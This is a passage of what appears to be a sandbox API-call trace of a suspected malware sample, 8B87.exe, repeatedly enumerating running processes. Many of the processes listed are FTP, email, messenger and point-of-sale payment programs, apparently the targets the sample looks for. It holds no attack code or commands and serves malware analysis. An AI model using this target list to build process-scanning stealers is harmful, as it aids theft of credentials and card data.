lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0221.632] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0221.634] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0221.637] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0221.640] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0221.643] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0221.645] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0221.648] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0221.651] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0221.653] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0221.655] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0221.689] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0221.691] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0221.693] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0221.695] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0221.698] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0221.700] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0221.702] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0221.704] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0221.706] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0221.708] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0221.711] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0221.713] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0221.715] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0221.717] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0221.719] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0221.723] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0221.725] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0221.727] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0221.729] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0221.731] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0221.733] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0221.735] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0221.737] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.740] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0221.743] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.745] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0221.747] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0221.749] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.752] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0221.754] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0221.756] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0221.757] CloseHandle (hObject=0x11c8) returned 1 [0221.757] Sleep (dwMilliseconds=0x64) [0221.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0221.771] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.772] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.774] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.776] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.778] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.780] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.782] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.785] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.787] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.789] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.791] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.796] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.926] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.929] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.933] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.938] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.940] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.943] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.945] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0221.948] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0221.951] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0221.953] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.956] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0221.958] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0221.961] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0221.963] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.967] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.970] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0221.972] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0221.980] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0222.000] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0222.003] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0222.006] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0222.009] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 